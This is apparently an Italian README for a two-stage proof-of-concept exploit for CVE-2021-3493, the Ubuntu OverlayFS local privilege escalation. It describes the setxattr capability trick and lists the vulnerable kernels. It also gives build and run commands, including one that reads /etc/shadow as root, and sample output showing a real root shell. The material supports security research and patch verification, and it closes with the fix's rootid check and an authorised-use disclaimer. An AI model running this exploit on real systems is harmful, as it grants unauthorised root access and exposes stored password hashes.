
Proof-of-concept in due fasi per CVE-2021-3493, che sfrutta Ubuntu OverlayFS per escalare da utente non privilegiato a root tramite manipolazione delle capability dei file nei namespace utente.
Una proof-of-concept funzionante per CVE-2021-3493, una vulnerabilità di escalation dei privilegi locali nell'implementazione OverlayFS del kernel Ubuntu.
Un utente non privilegiato può montare un filesystem overlay all'interno di un user namespace e impostare capacità arbitrarie sui file tramite setxattr. Il kernel non riesce a validare l'origine del namespace di queste capacità, quindi esse hanno effetto nell'init user namespace — consentendo a qualsiasi utente locale di escalare a root.
Questa vulnerabilità è specifica di Ubuntu. Ubuntu include una patch (FS_USERNS_MOUNT) che consente mount overlay non privilegiati — i kernel upstream non la includono, quindi il Linux principale e le altre distribuzioni generalmente non sono interessati.
| Distribuzione | Kernel | Vulnerabile (corretto in) |
|---|---|---|
| Ubuntu 20.10 | 5.8 | < 5.8.0-50 |
| Ubuntu 20.04 LTS | 5.4 | < 5.4.0-72 |
| Ubuntu 18.04 LTS | 4.15 | < 4.15.0-142 |
| Ubuntu 18.04 LTS (HWE) | 5.3 | < 5.3.0-73 |
| Ubuntu 16.04 LTS | 4.4 | < 4.4.0-209 |
| Ubuntu 14.04 ESM (HWE) | 4.4 | < 4.4.0-209 |
Fonte: USN-4916-1
Questa PoC utilizza un design a due stadi:
| File | Ruolo |
|---|---|
exploit.c | Stage 1 — Crea un filesystem overlay all'interno di un user namespace, copia il payload rootshell al suo interno e imposta l'xattr security.capability con tutte le capacità (all+ep) |
Perché due stadi? La PoC originale inspiringz/CVE-2021-3493 fa eseguire all'exploit una shell dall'interno dello user namespace, quindi uid=0 è solo una mappatura del namespace — non una vera root. Questa PoC separa la configurazione overlay (processo figlio nello user namespace) dall'esecuzione del payload (processo padre nell'init namespace), garantendo una reale escalation dei privilegi.
exploit (init ns, uid=1000)
│
├─ fork → child (user ns)
│ ├─ unshare(CLONE_NEWUSER | CLONE_NEWNS)
│ ├─ mount overlayfs
│ ├─ copy rootshell → overlay merge dir
│ ├─ setxattr("security.capability", all+ep) ← trigger della vulnerabilità
│ └─ exit
│
└─ parent (init ns, uid=1000)
└─ execl("upper/rootshell")
├─ kernel loads file capabilities in init ns
│ CapPrm: 0000003fffffffff
│ CapEff: 0000003fffffffff
├─ setuid(0) → success
├─ setgid(0) → success
└─ exec /bin/bash → vera shell root
/dev/shm → /tmp: L'originale usa /dev/shm che è montato con nosuid, causando l'ignoranza silenziosa delle capacità dei file all'esecuzione da parte del kernel. Questa PoC usa /tmp (tipicamente su ext4 senza nosuid).
Payload a due stadi: L'originale copia se stesso (/proc/self/exe) come binario con capacità, ma poiché l'exploit chiama unshare, rieseguirlo fa semplicemente rientrare in un user namespace. Questa PoC usa un binario rootshell separato che consuma direttamente le capacità.
| OS | Ubuntu 20.04.1 LTS (Focal Fossa) |
| Kernel | 5.4.0-65-generic (vulnerabile) / 5.4.0-216-generic (corretto) |
| Config | Installazione predefinita di Ubuntu Server — nessuna mitigazione disabilitata |
L'host di test usa un kernel Ubuntu 20.04 stock con tutte le funzionalità di sicurezza predefinite intatte:
CONFIG_USER_NS=y + kernel.unprivileged_userns_clone=1 (predefinito — consente user namespace non privilegiati)CONFIG_OVERLAY_FS=m (predefinito — OverlayFS disponibile come modulo)BOOT_IMAGE=... root=... ro)Nessuna funzionalità di sicurezza deve essere disabilitata — l'exploit funziona subito su Ubuntu 20.04 predefinito con un kernel vulnerabile.
⚠️ AVVERTENZA: Esegui questo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test. Questo exploit garantisce un reale accesso root.
make
./exploit
Il comportamento predefinito genera una shell root interattiva. Puoi anche eseguire un singolo comando:
./exploit "id && cat /etc/shadow"
============================================
CVE-2021-3493 OverlayFS Privilege Escalation
Kernel: 5.4.0-65-generic
User: uid=1000(user) gid=1000(user)
============================================
[1] Setting up overlay filesystem in user namespace...
[2] File capabilities set on /tmp/.ovlcap/upper/rootshell
[3] Executing rootshell from init namespace...
[*] Before privilege escalation:
uid=1000(user) gid=1000(user)
[*] Process capabilities:
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
[+] After setuid(0) + setgid(0):
uid=0(root) gid=0(root)
root@host:~#
make clean
I kernel corretti (es. >= 5.4.0-70 su Ubuntu 20.04) aggiornano l'xattr delle capacità dal formato v2 a v3 quando impostato attraverso un overlay in un user namespace. Il formato v3 include un campo rootid che registra il reale UID di chi imposta nell'init namespace. All'esecuzione, il kernel controlla rootid — se non è 0, le capacità vengono rifiutate:
# Kernel vulnerabile (5.4.0-65) — formato v2, nessun rootid
security.capability = 0x01000002 ffffffff00000000 ffffffff00000000
# Kernel corretto (5.4.0-70+) — formato v3, rootid=1000
security.capability = 0x01000003 ffffffff00000000 ffffffff00000000 e8030000
^^ ^^^^^^^^
v3 rootid=1000
Questo codice è fornito solo per ricerca sulla sicurezza e test autorizzati. Usalo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta al test. Gli autori non si assumono alcuna responsabilità per un uso improprio.
rootshell.c | Stage 2 — Un payload pulito che sfrutta le capacità del file per chiamare setuid(0) e generare una vera shell root |